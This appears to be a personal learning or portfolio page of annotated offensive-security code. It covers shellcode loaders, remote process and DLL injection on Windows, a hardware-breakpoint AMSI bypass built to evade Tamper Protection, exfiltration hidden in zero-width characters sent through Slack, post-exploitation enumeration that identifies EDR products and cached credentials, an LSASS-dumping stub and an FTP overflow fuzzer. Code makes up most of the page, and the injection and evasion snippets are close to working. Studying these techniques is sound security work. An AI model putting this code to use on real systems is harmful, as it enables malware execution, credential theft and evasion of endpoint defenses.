LEARN WHAT
I BUILT.

// Decimal → Hex → Binary
65      = 0x41  = 01000001  → ASCII 'A'
255     = 0xFF  = 11111111  → max value of 1 byte
4096    = 0x1000             → common memory page size

// Every C program starts here
#include <stdio.h>    // gives us printf()
#include <windows.h>  // gives us Windows API

int main() {
    // This prints to console
    printf("Hello, kernel\n");

    // This allocates 1000 bytes of memory
    char* buf = malloc(1000);

    // This frees it (always free what you malloc)
    free(buf);

    return 0;
}

// Pointer example — this is how shellcode works
unsigned char shellcode[] = { 0x90, 0x90, 0xC3 }; // NOP NOP RET

// Cast shellcode bytes to a function pointer
void (*func)() = (void(*)())shellcode;

// Execute it — this is literally what loaders do
func();  // CPU jumps to our bytes and runs them

# Python — fast prototyping, file parsing, network tools
import struct, socket

# Read a PE file header
with open('calc.exe', 'rb') as f:
    data = f.read(64)
    magic = data[0:2]   # MZ header — b'\x4D\x5A'
    print(f"Magic: {magic}")  # Every .exe starts with MZ

# PowerShell — post-exploitation on Windows
# List all processes (who's running)
Get-Process | Select-Object Name, Id, Path

# Find all scheduled tasks (persistence check)
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'}

# Dump LSASS (credential harvesting — authorized use only)
# This is what Mimikatz does under the hood
[System.Runtime.InteropServices.Marshal]::Copy(...)

// Open a handle to notepad.exe for injection
HANDLE hProc = OpenProcess(
    PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
    FALSE,        // don't inherit handle
    targetPID     // PID of notepad.exe
);

// Allocate memory in the remote process
LPVOID addr = VirtualAllocEx(hProc, NULL, shellcodeSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE);  // RWX — AV watches for this

// Write shellcode into it
WriteProcessMemory(hProc, addr, shellcode, shellcodeSize, NULL);

// Create a thread there — shellcode now runs in notepad
CreateRemoteThread(hProc, NULL, 0,
    (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);

// Virtual memory layout (simplified, x64 Windows)
// 0x000000000000 - 0x00007FFFFFFFFFFF  →  User mode
// 0xFFFF800000000000 - end              →  Kernel mode

// Query memory permissions on a region
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(address, &mbi, sizeof(mbi));

// mbi.Protect tells you: PAGE_EXECUTE_READ, PAGE_READWRITE, etc.
// AV scans for PAGE_EXECUTE_READWRITE — that's the red flag
printf("Protect: 0x%X\n", mbi.Protect);

# Python: parse PE header manually
import struct

with open('sample.exe', 'rb') as f:
    data = f.read()

# DOS header: first 2 bytes = MZ
assert data[0:2] == b'MZ'

# Offset to PE header is at 0x3C
pe_offset = struct.unpack_from('<I', data, 0x3C)[0]

# PE signature
assert data[pe_offset:pe_offset+4] == b'PE\x00\x00'

# Entry point (RVA) — where execution starts
ep = struct.unpack_from('<I', data, pe_offset + 40)[0]
print(f"Entry point RVA: 0x{ep:08X}")

// Key WinAPI functions for offensive work
VirtualAlloc()         // allocate memory
VirtualAllocEx()       // allocate in another process
WriteProcessMemory()   // write into another process
CreateRemoteThread()   // start thread in another process
NtCreateThreadEx()     // ntdll version — harder to hook
OpenProcess()          // get handle to target process
LoadLibrary()          // load a DLL
GetProcAddress()       // find a function by name in a DLL
SetWindowsHookEx()     // hook keyboard, mouse etc.
MiniDumpWriteDump()    // dump process memory (LSASS)

// Classic DLL injection using LoadLibrary

// 1. Get handle to target
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

// 2. Write DLL path string into target's memory
LPVOID pathAddr = VirtualAllocEx(hProc, NULL,
    strlen(dllPath)+1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, pathAddr, dllPath, strlen(dllPath)+1, NULL);

// 3. Make target call LoadLibrary on our DLL path
HMODULE k32 = GetModuleHandle("kernel32.dll");
FARPROC loadLib = GetProcAddress(k32, "LoadLibraryA");

CreateRemoteThread(hProc, NULL, 0,
    (LPTHREAD_START_ROUTINE)loadLib,
    pathAddr,   // LoadLibrary's argument = our DLL path
    0, NULL);   // Target now loads our DLL. DllMain() runs.

// x64 shellcode that executes calc.exe
// This is what Msfvenom, Cobalt Strike, etc. generate
unsigned char calc_shellcode[] = {
    0x48, 0x31, 0xc9,             // xor rcx, rcx
    0x48, 0x81, 0xe9, 0xb7,      // sub rcx, ...
    // ... hundreds more bytes
    // finds kernel32.dll in memory,
    // resolves WinExec(),
    // calls WinExec("calc.exe")
};

// Embed and execute
void* mem = VirtualAlloc(NULL, sizeof(calc_shellcode),
    MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(mem, calc_shellcode, sizeof(calc_shellcode));
((void(*)())mem)();   // execute

// HWBP AMSI bypass — conceptual

// 1. Find AmsiScanBuffer address in amsi.dll
HMODULE amsi = LoadLibrary("amsi.dll");
FARPROC scanBuf = GetProcAddress(amsi, "AmsiScanBuffer");

// 2. Set DR0 to break on execution of AmsiScanBuffer
ctx.Dr0 = (DWORD64)scanBuf;
ctx.Dr7 = 0x1;              // enable DR0, execute break
SetThreadContext(GetCurrentThread(), &ctx);

// 3. Add vectored exception handler
AddVectoredExceptionHandler(1, amsiHandler);

// amsiHandler fires when AmsiScanBuffer is called.
// We set RIP past the scan, return AMSI_RESULT_CLEAN.
// No memory was written. Tamper Protection sees nothing.

// Zero-width character encoding
// U+200B = zero-width space (bit 0)
// U+200C = zero-width non-joiner (bit 1)

// Encode "A" (0x41 = 01000001) in zero-width chars
// '0' → U+200B, '1' → U+200C
encoded = "​‌​​​​​‌"
// Looks like: "" (empty string to human eye)
// Contains:   "A" in binary

// Use case: exfiltrate data in a Slack message.
// Message looks clean. Data is there.

# Post-exploitation enumeration — PowerShell

# Who am I?
whoami /all

# What can I reach?
Get-NetTCPConnection | Where-Object {$_.State -eq 'Listen'}

# What's in the network?
Get-ADComputer -Filter * | Select Name, DNSHostName

# What processes are running? (spot AV/EDR)
Get-Process | Where-Object {$_.Name -match 'defender|sentinel|crowdstrike'}

# What credentials are cached?
cmdkey /list

# Scheduled tasks (persistence check)
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike '\Microsoft\*'}

# Simple dumb fuzzer
import socket, time

target = ("192.168.1.100", 21)   # FTP server
payload_sizes = [100, 500, 1000, 2000, 5000]

for size in payload_sizes:
    try:
        s = socket.socket()
        s.connect(target)
        s.recv(1024)                      # recv banner
        s.send(b"USER " + b"A" * size + b"\r\n")
        print(f"Sent {size} bytes — no crash")
        s.close()
    except:
        print(f"CRASHED at {size} bytes!")
        break
    time.sleep(0.5)